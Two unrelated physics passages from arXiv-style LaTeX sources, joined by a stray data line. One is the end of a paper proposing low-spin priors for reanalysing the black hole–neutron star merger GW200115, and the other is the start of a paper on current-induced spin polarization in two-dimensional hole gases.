A merging BH -- NS binary could form dynamically, through interactions with other stars in a dense stellar environment, such as a nuclear or globular cluster. However, the vast majority of merger rate estimates in the literature suggest that such dynamical formation is very rare relative to the event rate inferred from GW observations (see \citealt{MandelBroekgaarden:2021} for a review), and so is unlikely to be responsible for GW200115. The only two exceptions are mergers in young star clusters \citep{Santoliquido:2020} (though other groups, e.g., \citealt{FragioneBanerjee:2020}, predict much lower merger rates) and mergers in hierarchical 3-body systems \citep{HamersThompson:2019}. In the latter case, however, the BH spin is likely to be a consequence of binary evolution, discussed below, with the triple dynamics aiding the prompt merger and possibly contributing to spin misalignment if the BH is spinning \citep{LiuLai:2018,RodriguezAntonini:2018}. Formation from first-generation population III stars or through chemically homogeneous evolution is similarly disfavored for BH -- NS binaries. Therefore, we turn to the classical isolated binary evolution channel involving mass transfer.
The standard pathway for merging BH -- NS formation through isolated binary evolution proceeds as follows: $(i)$ binary formation, $(ii)$ mass transfer from the primary (initially more massive star) onto the secondary after the primary evolves off the main sequence, $(iii)$ collapse of the primary into a BH, $(iv)$ dynamically unstable mass transfer (a common-envelope phase) from the secondary onto the BH after the secondary evolves off the main sequence, $(v)$ possibly another phase of mass transfer from the stripped secondary after the end of the helium main sequence, $(vi)$ supernova explosion of the secondary leading to NS formation, and $(vii)$ a GW driven merger (see, e.g., Figure 3 of \citealt{Broekgaarden:2021} for an illustration). In this process, the black hole's progenitor is stripped of its envelope, which contains the bulk of its moment of inertia and, hence, the bulk of angular momentum, assuming at least moderately efficient angular momentum transport, as supported by theory and observations \citep[e.g.,][]{Spruit:2002,FullerMa:2019,Belczynski:2020}. The removal of the envelope leaves a naked helium star with little angular momentum, which is further reduced by spin-down through stellar winds. At this stage, the helium star is too far away from the companion to be spun up through tidal interactions \citep{Kushnir:2016,Zaldarriaga:2017,HotokezakaPiran:2017,Qin:2018,Bavera:2019,Bavera:2020}. Several possibilities for BH spin-up have been proposed, such as through supernova fallback torqued by the binary companion \citep{Schroeder:2018} or extreme super-Eddington accretion (requiring the BH mass to approximately double after formation), but most involve a degree of fine-tuning or assumptions that do not appear to be supported by current observations (see \citealt{MandelFragos:2020} for a critical summary). It thus appears that this standard channel must inevitably yield a negligibly spinning BH \citep{BroekgaardenBerger:2021}.
There are a several variations that are worth considering. It is possible that the NS forms first, before the BH. This requires mass ratio reversal, so that the secondary forms a heavier remnant (the BH) than the primary (which form the NS). In this case, the progenitor of the BH which forms from the secondary could be tidally spun up, since it would be in a close post-common-envelope binary with the NS, possibly leading to a rapidly spinning BH \citep{Debatri:2020}. Population synthesis estimates by \citet{Broekgaarden:2021} suggest that mass ratio reversal is quite rare, comprising $\lesssim 1\%$ of all merging BH -- NS binaries. The frequency of mass ratio reversal rises to $\approx 20\%$ under the assumption that Hertzsprung gap donors could initiate and survive common envelopes. However, this assumption is disfavored by current understanding of mass transfer from stars without deep convective envelopes \citep{Klencki:2020convective}. Furthermore, even if such a BH were rapidly spinning, it would be extremely unlikely to be misaligned from the binary's orbital angular momentum since it would form in a very tight binary after being aligned by tides and hence even a moderate supernova natal kick would not produce appreciable misalignment. Meanwhile, a double-core common-envelope event could yield a tight binary with the possibility for tidally spinning up both cores, but this is not expected to produce significant numbers of BH -- NS binaries because this channel requires very similar companion masses; \citet{Broekgaarden:2021} estimate the contribution as $<1\%$ for all model variations. If BHs that avoid mass transfer could have significant spins, another possible formation channel that could conceivably give rise to rapidly spinning BHs in BH -- NS binaries involves starting in a very wide binary and avoiding mass transfer altogether prior to the first supernova, relying on fortuitous natal kicks to bring the binary close. This is, again, expected to be extremely rare.
Perhaps the most promising scenario for forming a rapidly spinning BH in a BH -- NS system is one in which they arise from BH high-mass X-ray binaries. These are systems comprising a black hole accreting winds from a massive stellar companion. BHs in black-hole high-mass X-ray binaries Cygnus X-1, LMC X-1 and M33 X-7 appear to be very rapidly spinning (see, e.g., \citealt{MillerMiller:2015} for a discussion of the measurements and possible caveats). A plausible scenario for the formation of such rapidly spinning BHs is that these were initially tight binaries with orbital periods of only a few days, so that the first stage of mass transfer from the primary began when the primary was still on the main sequence. In that case, it may be possible for the donor, whose core and envelope are still tightly coupled, to simultaneously lose the bulk of its hydrogen envelope and get tidally spun up \citep{Valsecchi:2010,Qin:2019}. Regardless of the formation mechanism, systems such as Cygnus X-1 could yield merging BH -- NS binaries in their future evolution \citep{Belczynski:2011CygX1}. However, the donors in all observed BH high-mass X-ray binaries are nearly Roche-lobe filling (though this appears to be a consequence of the angular momentum content in accreted winds in such systems, \citealt{HiraiMandel:2021}). Thus, these systems are on the verge of mass transfer while the secondary donor is still a main-sequence star. Consequently, these systems appear unlikely to enter and survive a common-envelope phase, and may therefore remain too wide to merge through GWs. For example, \citet{Neijssel:2020CygX1} estimate the future merger probability of Cygnus X-1 at only a few percent, which would rely on a favorable natal kick accompanying the second supernova. On the other hand, such a natal kick could naturally explain misalignment along with the BH spin; \citet{Chia:2021} proposed this as a possible formation channel for the BH--BH merger GW151226, which may show evidence of both primary BH spin and misalignment (but see \citealt{GW151226,MateuLucena:2021}). Simple estimates suggest that this channel could yield merger rates of a few Gpc$^{-3}$ yr$^{-1}$, which is 1--2 orders of magnitude lower than the BH -- NS merger rate inferred from GW200105 and GW200115 \citep{GW200105}.
We thus conclude that the presence of significant BH spin is not expected in the vast majority of merging BH -- NS binaries. Only binaries in which the BH progenitor was simultaneously stripped and spun up during mass transfer late on the main sequence stage appear to be promising candidates for BH -- NS mergers with rapidly spinning and potentially misaligned BHs. Given their anticipated low contribution to the total merger rate, we propose alternative spin priors on BH -- NS merger analysis that would comprise a mixture of negligible BH spin ($\sim 95\%$) and the standard LVK analysis broad priors on spin and misalignment angles ($\sim 5\%$).
\begin{figure}
\centering
\includegraphics[width=\columnwidth]{m1_m2_source_reweighted.pdf}
\caption{Marginalized two- and one-dimensional posteriors in the space of $M_\mathrm{BH}$ and $M_\mathrm{NS}$.
Blue shows the GW200115 posteriors as computed in \citep{GW200105} and red shows the GW200115 posteriors using the alternative priors proposed here.}\label{figure:m1m2}
\end{figure}
In practice, for the negligible-spin component, we treat the BH and NS spin magnitudes as being independent and identically distributed, following truncated narrow normal distributions peaked at zero. We do not modify the priors on spin angles. The prior distribution is
\begin{equation}
\begin{aligned}
\pi(\chi_\mathrm{BH}, \chi_\mathrm{NS}) =& 0.95\,\Big[\,\mathcal{N}(\chi_{\mathrm{BH}}; \mu=0, \bar{\sigma}=1.67\times10^{-2}) \times\\& \mathcal{N}(\chi_{\mathrm{NS}}; \mu=0, \bar{\sigma}=1.67\times10^{-2})\,\Big]\\ &+ 0.05\,\pi_{\text{LVK}}(\chi_\mathrm{BH}, \chi_\mathrm{NS})\,,
\end{aligned}
\end{equation}
where $\mathcal{N}$ is the normal distribution truncated to the interval $\big[0, 1\big]$, and with $\bar{\sigma}=1.67\times10^{-2}$ chosen so that each spin distribution has a standard deviation $\sigma_{\chi}=10^{-2}$. This choice is a practical one, to allow us to re-weight existing posterior samples: too few samples would be available for re-weighting for lower values of $\sigma_{\chi}$. It is consistent with the negligible black hole spins observed in merging black holes that avoided tidal spin-up \citep{Galaudage:2021}. These priors express the astrophysical a priori belief that the BH and NS are expected to have low spins. At the same time, they allow us to re-weight the LVK analysis posterior samples. Since there are a finite number of posterior samples with near-zero spins, and none with spin values of exactly zero, more narrow $\chi$ priors would create additional practical challenges.
We re-analyse the GW200115 signal with these astrophysically motivated priors by re-weighting the posterior samples from \citet{GW200105}. We recover the $\chi_\mathrm{BH,z}$ and $q$ posteriors shown in red in figure \ref{figure:qchiz}. These are centered on zero spin: $\chi_\mathrm{BH,z}=0.00^{+0.04}_{-0.04}$. While this is not surprising given the prior preference for zero spin, the almost complete lack of a tail extending to either positive or negative $\chi_\mathrm{BH,z}$ shows that there is insufficient likelihood preference at non-zero spin values to overcome a moderate prior re-weighting.
The better constrained spin inferred with the priors advocated here yields a more precise mass ratio $q=0.18^{+0.03}_{-0.02}$, which in turn leads to the more precise mass measurements shown in figure \ref{figure:m1m2}. We find that with our choice of priors, the component masses are tightly constrained, with $M_\mathrm{BH} =7.0^{+0.4}_{-0.4}\,M_{\odot}$ and $M_{\text{NS}}=1.25^{+0.09}_{-0.07}\,M_{\odot}$. The latter value is consistent with the typical masses of second-born neutron stars in Galactic double neutron star systems which are observed as radio pulsars. In these Galactic systems, the second-born neutron stars are likely formed through ultra-stripped supernovae, with an extra episode of mass transfer (step $\it{v}$ in our standard pathway) from the NS progenitor after the end of its helium main sequence \citep{Tauris:2017}, possibly suggesting a similar formation channel in GW200115.
\acknowledgements
We thank Team COMPAS; Javier Roulet, Horng Sheng Chia, Matias Zaldarriaga and colleagues; Ben Gompertz and colleagues; Xingjiang Zhu; and Eric Thrane for useful discussions. The authors acknowledge support from the Australian Research Council Centre of Excellence for Gravitational Wave Discovery (OzGrav), through project number CE17010004. IM is a recipient of the Australian Research Council Future Fellowship FT190100574. This document has LIGO document ID P2100346.
\bibliographystyle{hapj}
|
1,477,468,750,016 | arxiv | \section{Introduction}
In order to reduce the electric leakage and to meet the challenge brought
about by the reduced physical size of the future nano-electronics, it is
being explored to replace the electron charge with the spin degree of
freedom in the electronic transport. This is the ambitious goal of
researchers in the field of spintronics.~\cite{Wolf,Zutic,Awschalom} One of
basic issues in this field is how to generate the polarized spin in devices.
As an straightforward way, the spin injection from ferromagnetic layers may
provide a possible solution to this problem if the interface mismatch
problem can be avoided, but it is more desirable to generate spin
polarization directly by electric means in devices because of its easy
controllability and compatibility with the standard microelectronics
technology.~\cite{Wolf,Zutic,Awschalom} The spin-orbit coupling (SOC) in
semiconductors, which relates the electron spin to its momentum, may provide
a controllable way to realize such purpose. Based on this idea, the
phenomenon of current-induced spin polarization (CISP) has recently
attracted extensive attentions of a lot of research groups.~\cite%
{Dyakonov,Edelstein,Aronov,Chaplik,Inoue1,Bleibaum1,Bleibaum2,Vavilov,
Tarasenko,Trushin,Huang,LiangbinHu,Xiaohua,Bao06,Silov1,Kato1,Kato2,Sih,Stern,
Yang,Ganichev1,Ganichev2,Cui}
As early as in 1970's, the CISP due to the spin-orbit scattering near the
surface of semiconductor thin films was predicted by Dyakonov and Perel.~%
\cite{Dyakonov} Restricted by experimental conditions at that time, this
prediction was ignored until the beginning of 1990's. With the development
of sample fabrication and characterization technology in low-dimensional
semiconductor systems, it was realized that such phenomena could also exist
in quantum wells and heterostructures with the structure or bulk inversion
asymmetry.~\cite{Edelstein,Aronov} Later, many interesting topics about CISP
have been raised, such as the joint effect of the Rashba and Dresselhaus SOC
mechanism,~\cite{Chaplik} vertex correction,~\cite%
{Edelstein,Aronov,Chaplik,Inoue1} quantum correction~\cite%
{Bleibaum1,Bleibaum2} and resonant spin polarization.~\cite{Bao06}
Experimentally, CISP was first observed by Silov \textit{et al}~\cite{Silov1}
in two-dimensional hole gas (2DHG) by using the polarized photoluminescence.~%
\cite{Kaestner1,Kaestner2,Silov2} When inputting an in-plane current into
the 2DHG system, they observed a large optical polarization in
photoluminescence spectra.~\cite{Silov1} Later, Kato \textit{et al}
demonstrated the existence of the CISP in strained nonmagnetic
semiconductors,~\cite{Kato1,Kato2} and Sih \textit{et al} detected the CISP
in the two-dimensional electron gas (2DEG) in (110) $AlGaAs$ quantum well.~%
\cite{Sih} The CISP was also found in $ZnSe$ epilayers even up to the room
temperature.~\cite{Stern} Very recently, the converse effect of CISP has
been clearly shown by Yang \textit{et al} experimentally,\cite{Yang} and the
spin photocurrent has also been observed.~\cite{Ganichev1,Ganichev2,Cui}
So far most theoretic investigations about the CISP deal with the electron
SOC systems.~\cite%
{Dyakonov,Edelstein,Aronov,Chaplik,Inoue1,Bleibaum1,Bleibaum2,Vavilov,Tarasenko,Huang,Xiaohua,Trushin,LiangbinHu}
Thus the CISP in the 2DHG system as shown in Silov's experiments was also
interpreted in terms of the linear-$k$ Rashba coupling of the 2DEG systems
with several parameters adjusted.~\cite{Silov1} As we shall show later, this
treatment is not appropriate for 2DHG. Unlike the electron system, the hole
state in the Luttinger-Kohn Hamiltonian~\cite{Luttinger} is a spinor of four
components. As each component is a combination of spin and orbit momentum,
the spin of a hole spinor is not a conserved physical quantity. Therefore,
the "spintronics" for hole gas is in fact a combination of spintronics and
orbitronics\cite{Bernevig2}. If only the lowest heavy hole (HH1) subband is
concerned, by projecting the multi-band Hamiltonian of 2DHG with structural
inversion asymmetry into a subspace spanned by $|\pm \frac{3}{2}\rangle$
mostly relevant with the HH1 states, we can obtain the $k$-cubic Rashba
model~\cite{Schliemann,Bernevig,Sinova,Winkler1,Winkler2}. We emphasize here
in this lowest heavy hole subspace, the spin operators are no longer
represented by three Pauli matrices, because the "generalized spin" we shall
adopt is a hybridization of spin and orbit angular momentum. In deriving the
effective Hamiltonian from the Luttinger-Kohn Hamiltonian by the
perturbation and truncation procedure to higher orders, one must take care
of the corresponding transformation for the spin operator in order to obtain
the correct expression. In the following, we will use the terminology
"generalized spin", or the "spin" for short, to denote the total angular
momentum in the spin-orbit coupled systems.
The aim of the present paper is to investigate the CISP of 2DHG in a more
rigorous way. Namely, we will derive the $k$-cubic Rashba model and the
corresponding spin operators for holes, and on this basis we will present
both analytical and numerical results for the CISP in 2DHG. This paper is
organized as follows. In Sec II the general formalism and the Hamiltonian
for the 2DHG with structural inversion asymmetry is given. In Sec III in the
low doping regime, with the perturbation theory, the Hamiltonian and spin
operators in the lowest heavy hole subspace are derived, and applied to
analytical calculation of the CISP in 2DHG.
In Sec IV, we will show the numerical calculations agree well with the
analytical results at the low-doping regime; while in the high doping regime
the numerical results predict some new features of CISP. Particularly, we
predict a pronounced CISP peak when Fermi energy lies little above the
energy minimum of the lowest light hole (LH1) subband. Finally, a brief
summary is drawn.
\section{Formalism}
\subsection{Hole Hamlitonian}
A p-doped quantum well system with structural inversion asymmetry can be
described as the isotropic Luttinger-Kohn Hamiltonian with a confining
asymmetrical potential,
\begin{eqnarray}
\hat{H}=\hat{H}_{L}+ \hat{V}_{c}(z)+ \hat{V}_{a}(z). \label{Ham1}
\end{eqnarray}%
Here in order to compare the analytical results with the numerical one, the
confining potential along the z-direction $V_{c}(z)$ is taken as
\begin{eqnarray}
\hat{V}_{c}(z) = & \left \{
\begin{array}{cc}
0 & -L_z /2 < z < L_z /2 \\
\infty & otherwise,%
\end{array}
\right. \label{Vc}
\end{eqnarray}
where $L_z$ is the well width of the quantum well. The asymmetrical
potential, which stems from a build-in electric field $F$ via the gate
voltage or $\delta $-doping is $\hat{V}_{a}(z)=eFz,$ which breaks the
inversion symmetry and lifts the spin doublet degeneracy.
Let $\hat{S}$ be the generalized spin operator of a hole state, and $\hat{S}%
_{z}$ be the z-component of $\hat{S}$, the isotropic Luttinger-Kohn
Hamiltonian $\hat{H}_{L}$ in the $\left\vert S, S_{z}\right\rangle $
representation (four basis kets written in the sequence of $\{|\frac{3}{2}%
\rangle ,|\frac{1}{2}\rangle ,|-\frac{1}{2}\rangle,|-\frac{3}{2}\rangle \}$)
is expressed as
\begin{equation}
\hat{H}_{L}=\left(
\begin{array}{cccc}
P & R & T & 0 \\
R^{\dag } & Q & 0 & T \\
T^{\dag } & 0 & Q & -R \\
0 & T^{\dag } & -R^{\dag } & P%
\end{array}%
\right) , \label{HamLut}
\end{equation}%
with
\begin{eqnarray}
P &=&\frac{\hbar ^{2}}{2m_{0}}[(\gamma _{1}+\gamma _{2})\mathbf{k}
^{2}+(\gamma _{1}-2\gamma _{2})k_{z}^{2}], \\
Q &=&\frac{\hbar ^{2}}{2m_{0}}[(\gamma _{1}-\gamma _{2})\mathbf{k}
^{2}+(\gamma _{1}+2\gamma _{2})k_{z}^{2}], \\
R &=&-\frac{\hbar ^{2}\sqrt{3}\gamma _{2}}{m_{0}}\mathbf{k}_{-}k_{z}, \\
T &=&-\frac{\hbar ^{2}\sqrt{3}\gamma _{2}}{2m_{0}}\mathbf{k}_{-}^{2},
\end{eqnarray}%
where $\gamma _{1},\gamma _{2}$ is the Luttinger parameters, $m_{0}$ is the
free electron mass, the in-plane wave vector $\mathbf{k}=(k_{x},k_{y})$,
denoted in the polar coordinate as $\mathbf{k }\equiv (k,\theta )$, $\mathbf{%
k}_{\pm}\equiv k_x \pm i k_y$ and $k_{z}=-i\partial /\partial z$. The other
terms, such as anisotropic term, C terms or hole Rashba term,~\cite%
{Bfzhu,Winkler2,Winkler1} have only negligible effects and are omitted in our
calculation. Correspondingly, the $x$-, $y$-, $z$- component of the "spin"-$%
\frac{3}{2}$ operator respectively reads
\begin{eqnarray}
\hat{S}_{x} &=&\frac{1}{2}\left(
\begin{array}{cccc}
0 & \sqrt{3} & 0 & 0 \\
\sqrt{3} & 0 & 2 & 0 \\
0 & 2 & 0 & \sqrt{3} \\
0 & 0 & \sqrt{3} & 0%
\end{array}%
\right) , \label{Sx0}
\end{eqnarray}%
\begin{eqnarray}
\hat{S}_{y}&=&\frac{i}{2}\left(
\begin{array}{cccc}
0 & -\sqrt{3} & 0 & 0 \\
\sqrt{3} & 0 & -2 & 0 \\
0 & 2 & 0 & -\sqrt{3} \\
0 & 0 & \sqrt{3} & 0%
\end{array}%
\right) , \label{Sy0}
\end{eqnarray}%
\begin{eqnarray}
\hat{S}_{z}&=&\frac{1}{2}\left(
\begin{array}{cccc}
3 & 0 & 0 & 0 \\
0 & 1 & 0 & 0 \\
0 & 0 & -1 & 0 \\
0 & 0 & 0 & -3%
\end{array}%
\right) . \label{Sz0}
\end{eqnarray}
We stress here again that the "spin" of the $\frac{3}{2}$ spinor is actually
its total angular momentum, which is a linear combination of spin and orbit
angular momentum of a valence band electron. In polarized optical
experiments, such as polarized photoluminescence~\cite%
{Kaestner1,Kaestner2,Silov2} or Kerr/Farady rotation~\cite{Kato1,Kato2}, it
is appropriate to introduce such a generalized spin.
For the infinitely confining potential, we expand the eigenfunction $\phi
_{\nu }$ associated with the $\nu th$ hole subband in terms of confined
standing waves as
\begin{equation}
\phi _{\nu }(\mathbf{k})=\sum_{n,\lambda _{h}}a_{n,\lambda _{h}}^{\nu }(%
\mathbf{k})\frac{1}{2\pi }e^{i\mathbf{k}\cdot \mathbf{r}}|n,\lambda
_{h}\rangle _{h}, \label{Basis}
\end{equation}%
with
\begin{equation}
|n,\lambda _{h}\rangle =\sqrt{\frac{2}{L_z}}\sin \left( \frac{n\pi (z+ L_z/2)%
}{L_z}\right) |\lambda _{h}\rangle , \label{Basiswf}
\end{equation}%
where $\mathbf{r}=(x,y)$, $n$ is the confinement quantum number for the
standing wave along the $z$-direction, and $\lambda _{h}$ denotes the $%
\lambda _{h}$-component of the hole ($\lambda _{h}=3/2,1/2,-1/2,-3/2$).
Since we are only interested in the low energy physics, a finite number of $%
n $ will result in a reasonable accuracy, and the effective Hamiltonian is
reduced into a square matrix with a dimension of $4n$. In this way we obtain
the hole subband structure analytically or numerically.
\subsection{Expression for CISP}
In the framework of the linear response theory, the electric response of
spin polarization in a weak external electric field $\mathbf{E}$ can be
formulated as~\cite{Bao06}
\begin{equation}
\langle \hat{S}_{\alpha }\rangle=\sum_{\beta }\chi _{\alpha \beta }E_{\beta
}, \label{Spinsus1}
\end{equation}%
where $\langle \hat{S}_{\alpha }\rangle$ is the thermodynamically averaged
value of the spin density. The electric spin susceptibility $\chi _{\alpha
\beta}$ can be calculated by Kubo formula.~\cite{Mahan} By the Green
function formalism, the Bastin version of Kubo formula~\cite{Streda} reads
\begin{equation}
\chi _{\alpha \beta }=\frac{ie\hbar }{2\pi }\int dEf(E)\text{Tr}\left\langle
\hat{S}_{\alpha }\left( \frac{dG^{R}}{dE}v_{\beta }A-Av_{\beta } \frac{dG^{A}%
}{dE}\right)\right\rangle _{c}, \label{Kubo1}
\end{equation}%
where $G^{R}$ and $G^{A}$ are the retarded and advanced Green function,
respectively, $A=i(G^{R}-G^{A})$ is the spectral function, $f(E)$ is the
Fermi distribution function, $v_{\beta }$ is the velocity operator along the
$\beta$ direction, and the bracket $\langle \cdots \rangle _{c}$ represents
the average over the impurity configuration.
To taken the vertex correction into account, we use the Streda-Smrcka
division of Kubo formula,~\cite{Streda,Sinitsyn}
\begin{equation}
\chi _{\alpha \beta }=-\frac{e\hbar }{2\pi }\int dE\frac{\partial f(E)}{%
\partial E}Tr\langle \hat{S}_{\alpha }G^{R}(E_{F})v_{\beta
}G^{A}(E_{F})\rangle _{c}, \label{Kubo2}
\end{equation}%
in which we retain only the non-analytical part, and neglect the analytical
part, because the latter is much less important in the present case. In the
following, we will use Eq.~(\ref{Kubo2}) to analytically calculate the
electric spin susceptibility (ESS) with the vertex correction considered;
meanwhile we will carry out the numerical calculation with Eq.~(\ref{Kubo1})
in the relaxation time approximation. We shall show that the analytical and
numerical results are in good agreements with each other in the regime of
low hole density.
\subsection{Symmetry}
The general properties of $\chi _{\alpha \beta }$ will be critically
determined by symmetry of the system. For the two-dimensional system we
investigate, the index $\alpha $($\beta $) in Eq.~(\ref{Spinsus1}) is simply
chosen to be $x$ or $y$ in the following. Without the asymmetrical potential
$V_{a}$, the Hamiltonian (\ref{Ham1}) is invariant under the space inversion
transformation
\begin{equation}
\begin{array}{ccc}
x\rightarrow -x, & y\rightarrow -y, & z\rightarrow -z, \\
\hat{S}_{x}\rightarrow \hat{S}_{x}, & \hat{S}_{y}\rightarrow \hat{S}_{y}, &
\hat{S}_{z}\rightarrow \hat{S}_{z},%
\end{array}
\label{Traninv}
\end{equation}%
if the origin point of $z$-axis is set at the mid-plane of the quantum well.
Applying the space inversion transformation (\ref{Traninv}) to Eq.~(\ref%
{Spinsus1}), we have
\begin{equation}
\langle \hat{S}_{\alpha }\rangle=\chi _{\alpha \beta }E_{\beta }\rightarrow
\langle \hat{S}_{\alpha }\rangle=-\chi _{\alpha \beta }E_{\beta },
\end{equation}%
whereby $\chi _{\alpha \beta }=-\chi _{\alpha \beta }$. This implies that no
CISP appears when the inversion symmetry exists in the system. So the
asymmetrical potential $V_{a}$ is crucial for the CISP.
In the presence of an asymmetrical potential $V_{a}$, the Hamiltonian (\ref%
{Ham1}) is invariant versus the rotation along z-axis with $\frac{\pi }{2}$
in both the real space and the spin space,
\begin{equation}
\begin{array}{ccc}
x\rightarrow y, & y\rightarrow -x, & z\rightarrow z, \\
\hat{S}_{x}\rightarrow \hat{S}_{y}, & \hat{S}_{y}\rightarrow -\hat{S}_{x}, &
\hat{S}_{z}\rightarrow \hat{S}_{z}.%
\end{array}
\label{Tran1}
\end{equation}%
With the above transformations (\ref{Tran1}), Eq.~(\ref{Spinsus1}) will give
\begin{eqnarray}
\langle \hat{S}_{x}\rangle &=&\chi _{xy}E_{y}\rightarrow \langle \hat{S}%
_{y}\rangle=-\chi _{xy}E_{x}, \\
\langle \hat{S}_{x}\rangle &=&\chi _{xx}E_{x}\rightarrow \langle \hat{S}%
_{y}\rangle=\chi _{xx}E_{y}.
\end{eqnarray}%
Combined with $\langle \hat{S}_{y}\rangle=\chi _{yx}E_{x}$ and $\langle \hat{%
S}_{y}\rangle =\chi _{yy}E_{y}$, we get
\begin{eqnarray}
\chi _{xy} &=&-\chi _{yx}, \label{chi1} \\
\chi _{xx} &=&\chi _{yy}, \label{chi2}
\end{eqnarray}%
which are direct consequence of the rotation symmetry along the z-axis.
\section{Analytical Results for CISP in 2DHG}
In the low hole density regime an effective Hamiltonian can be obtained by
projecting the Hamiltonian (\ref{Ham1}) into the subspace spanned by the
lowest heavy hole states, which, by using the truncation approximation and
projection perturbation method, \cite{Bfzhu,Shen00prb,Winkler1,Winkler2,Foreman,Foreman2,Foreman3,Habib}
is reduced to the widely
used $k$-cubic Rashba model. More importantly, the corresponding spin
operators in the subspace will be obtained properly, and the ESS of 2DHG
with the impurity vertex correction will be worked out. Then we will compare
and contrast the different behaviors of the CISP in the 2DEG and 2DHG in
this Section.
\subsection{ $k$-cubic Rashba Model}
To obtain an approximate analytical expression, we take the following
procedure. First we expand a hole state in terms of 8 basis wave functions
associated with $|n,\lambda _{h}\rangle $ ($n=1,2$ and $\lambda _{h} = \frac{%
3}{2}, \frac{1}{2}, -\frac{1}{2}, -\frac{3}{2}$) ( Eq.~\ref{Basiswf}). Then
for a given $\mathbf{k}$, we may express the Hamiltonian (\ref{Ham1}) in
terms of an $8\times 8$ matrix, which by the perturbation procedure can be
further projected into the subspace spanned by the $|1, \frac{3}{2}\rangle$
and $|1, -\frac{3}{2}\rangle$ states. Thus we obtain a $2\times 2$ matrix as
( See Appendix A for details),
\begin{equation}
\hat{H}_{k^{3}}=\frac{\hbar ^{2}k^{2}}{2m_{h}}+i\alpha (k_{-}^{3}\sigma
_{+}-k_{+}^{3}\sigma _{-}), \label{HamkR3}
\end{equation}%
where the Pauli matrix $\sigma _{\pm }\equiv \frac{1}{2}(\sigma _{x}\pm i
\sigma _{y})$,
the effective mass is renormalized into
\begin{equation}
m_{h}=m_{0}\left( \gamma _{1}+\gamma _{2}-\frac{256\gamma _{2}^{2}}{3\pi
^{2}(3\gamma _{1}+10\gamma _{2})}\right) ^{-1},
\end{equation}%
and the $k$-cubic Rashba coefficient
\begin{equation}
\alpha =\frac{512eFL_{z}^{4}\gamma _{2}^{2}}{9\pi ^{6}(3\gamma _{1}+10\gamma
_{2})(\gamma _{1}-2\gamma _{2})}.
\end{equation}%
Note that Eq.~(\ref{HamkR3}) is just the $k$-cubic Rashba model, in which
the Rashba coefficient $\alpha$ is proportional to asymmetrical potential
strength $F$, in agreement with the results by Winkler.~\cite{Winkler1} We
can rewrite the $k$-cubic Rashba Hamiltonian (\ref{HamkR3}) as
\begin{equation}
\hat{H}_{k^{3}}=\varepsilon (\mathbf{k})+\sum_{i=x,y,z}d_{i}(\mathbf{k}%
)\sigma _{i},
\end{equation}%
where $d_{x}=\alpha k_{y}(3k_{x}^{2}-k_{y}^{2})$, $d_{y}=\alpha k_{x}
(3k_{y}^{2}-k_{x}^{2})$, $d_{z}=0$, and $\varepsilon (\mathbf{k})=\frac{%
\hbar ^{2}k^{2}}{2m_{h}}$. The eigenvalue associated with the spin index $%
\mu $ ($\mu =\pm 1$) is
\begin{equation}
E_{\mu }(k)=\varepsilon (\mathbf{k})+\mu \alpha k^{3},
\end{equation}%
with the eigenfunction
\begin{equation}
\psi _{\mathbf{k}\mu }(\mathbf{r})=\frac{e^{i\mathbf{k}\cdot \mathbf{r}}}{%
\sqrt{2A_S}}\left(
\begin{array}{c}
i \\
\mu e^{i3\theta }%
\end{array}%
\right) ,
\end{equation}%
where $A_S$ is the area of the system.
The $k$-cubic Rashba model has been widely used to study the spin Hall
effect in 2DHG;~\cite{Schliemann,Bernevig,Sinova} however, no sufficient
attention has been paid to the corresponding spin operators. For example,
although Hamiltonian (\ref{HamkR3}) is written in terms of the Pauli
matrices $\sigma $, the $\sigma $ matrix is no longer related to the spin
directly. The correct spin operators in the $k$-cubic Rashba model, as
described in Appendix A, are expressed as
\begin{eqnarray}
\tilde{S}_{x} &=&\left(
\begin{array}{cc}
-S_{0}k_{y} & S_{1}k_{-}^{2} \\
S_{1}k_{+}^{2} & -S_{0}k_{y}%
\end{array}%
\right) , \label{Sx1} \\
\tilde{S}_{y} &=&\left(
\begin{array}{cc}
S_{0}k_{x} & -iS_{1}k_{-}^{2} \\
iS_{1}k_{+}^{2} & S_{0}k_{x}%
\end{array}%
\right) , \label{Sy1} \\
\tilde{S}_{z} &=&\frac{3}{2}\sigma _{z}, \label{Sz1}
\end{eqnarray}%
in which
\begin{eqnarray}
S_{0} &=&\frac{512\gamma _{2}L_{z}^{4}eFm_{0}}{9\pi ^{6}\hbar ^{2}(3\gamma
_{1}+10\gamma _{2})(\gamma _{1}-2\gamma _{2})}, \label{S0kR3} \\
S_{1} &=&\left[ \frac{3}{4\pi ^{2}}-\frac{256\gamma _{2}^{2}}{3\pi
^{4}(3\gamma _{1}+10\gamma _{2})^{2}}\right] L_{z}^{2}. \label{S1kR3}
\end{eqnarray}%
Clearly, the coefficient $S_{0}$ and the Rashba coefficient $\alpha$ have
the same dependence on $F$ and $L_{z}$, thus we have
\begin{equation}
S_{0}=\frac{\alpha m_{0}}{\hbar^{2}\gamma _{2}}. \label{S0alphakR3}
\end{equation}%
$S_{z}$ is related to $\sigma _{z}$, while $S_{x}(S_{y})$ consists of two
parts: the diagonal part linear in $k_{y}(k_x)$ and the non-diagonal part
quadratic in $k_{\pm }$. The diagonal part, which relates the wave vector $%
k_{y}$ ($k_{x})$ with $S_{x}$ ($S_{y}),$ will give the main contribution to
CISP.
The velocity operator in the $k$-cubic Rashba model can also be obtained by
the projection technique,
\begin{equation}
\tilde{v}_{x}=\frac{\hbar k_{x}}{m_{h}}+\frac{3i\alpha }{\hbar }%
(k_{-}^{2}\sigma _{+}-k_{+}^{2}\sigma _{-}), \label{VxkR3}
\end{equation}%
which is consistent with the relation $\tilde{v}_{x}=\frac{1}{\hbar }%
\partial H_{k^{3}}/\partial k_{x}$.
\subsection{Impurity Vertex correction}
Now, we calculate the ESS in the framework of the linear response theory
based on $k$-cubic Rashba model (\ref{HamkR3}). In doing this we take the
vertex correction of impurities into account. The free retarded Green
function has the form,
\begin{equation}
G_{0}^{R}(\mathbf{k},E)=\frac{E-\varepsilon (\mathbf{k})+
\sum_{i}d_{i}\sigma _{i}}{(E-E_{+}+i\eta )(E-E_{-}+i\eta )},
\end{equation}%
where $\eta $ is an infinitesimal positive number. We assume impurities to
be distributed randomly in the form $V_{r}(\mathbf{r})=V_{0}\sum_{i}\delta(%
\mathbf{r}-\mathbf{R}_{i})$, where $V_{0}$ is the strength. With the Born
approximation, the self-energy, diagonal in the spin space, is given by
\begin{equation}
Im[\Sigma _{0}^{R}(\mathbf{k},E)]=\frac{n_{i}V_{0}^{2}\pi }{2}(D_{+}+D_{-}),
\end{equation}%
where $n_{i}$ is the impurity density, and the density of states for two
spin-split branches of the HH1 subband reads
